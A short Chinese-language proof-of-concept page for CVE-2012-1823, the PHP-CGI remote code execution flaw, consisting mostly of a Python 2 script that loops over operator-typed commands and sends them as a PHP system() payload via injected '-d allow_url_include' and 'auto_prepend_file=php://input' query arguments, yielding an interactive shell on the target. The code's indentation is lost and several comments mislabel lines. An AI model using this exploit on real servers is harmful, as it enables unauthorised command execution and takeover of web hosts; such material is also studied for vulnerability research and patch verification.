# CVE-2012-1823
---
這個PoC演示了CVE-2012-1823 – PHP-CGI的遠程代碼執行漏洞的利用,下面這個PoC的代碼是通過一個簡單的循環來獲取PoC使用者頻繁輸入的內容,并且修改HttP頭。Post提交請求。這個代碼的原理也可以用于其他的示例。因為這段代碼演示了如何通過Python創建自定義的HTTP頭并且發起請求:
```
#!/usr/bin/python
import sys, urllib2 #導入需要的模塊
if len(sys.argv) != 2: # 檢查輸入的格式是否正確 "<script> <URL>"
print "Usage: "+sys.argv[0]+" <URL>"
sys.exit(0)
URL=sys.argv[1] # 輸出測試的url鏈接 "[+] Attempting CVE-2012-1823 - PHP-CGI RCE"
while True: # 循環開始時先輸出 "~$ " 然后通過"raw_input"獲取要執行的命令
command=raw_input("~$ ")
Host = URL.split('/')[2] # 從URL解析主機名: 'http://<host>/' 并且賦值給Host <host>
headers = { # 定義響應頭部
'Host': Host,
'User-Agent': 'Mozilla',
'Connection': 'keep-alive'}
data = "<?php system('"+command+"');die(); ?>" # PHP運行的服務器
req = urllib2.Request(URL+"?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data, headers)
try: # 使用Try/Except處理響應信息
response = urllib2.urlopen(req) # 發起請求
for line in response.readlines():
print line.strip()
except Exception as e: print e
```
**結果演示**
![php_cgi][1]
[1]: img/0x14.png